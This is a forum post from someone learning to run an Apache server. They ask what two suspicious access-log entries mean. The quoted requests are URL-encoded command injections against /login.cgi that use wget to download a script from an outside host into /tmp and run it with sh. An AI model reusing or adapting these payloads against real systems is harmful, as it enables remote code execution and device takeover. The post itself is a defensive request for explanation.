I'm build a new server on
Apache, actually I am learning, so I'm trying different things. My security system is already done, but of course I may miss something, or, if not, I do understand that today no one system can protect me for 100%. So, why do I think that someone tried me, just because I've recieved in my logs this:
184.108.40.206 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://220.127.116.11/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"
18.104.22.168 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://22.214.171.124/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566
There was more. I understand that this someone is getting an error 400 and that's not bad for me. So, in fact my question is not if they try me, because I think it is, because it not seems like a normal request to my site. I want to get an explanation of this request to understand and learn. What they actually trying to do, find my login system and send it to somewere?
P.S. I already know that with
wget you can download some website, I also found that
login.cgi is a cookie-based Authentication program.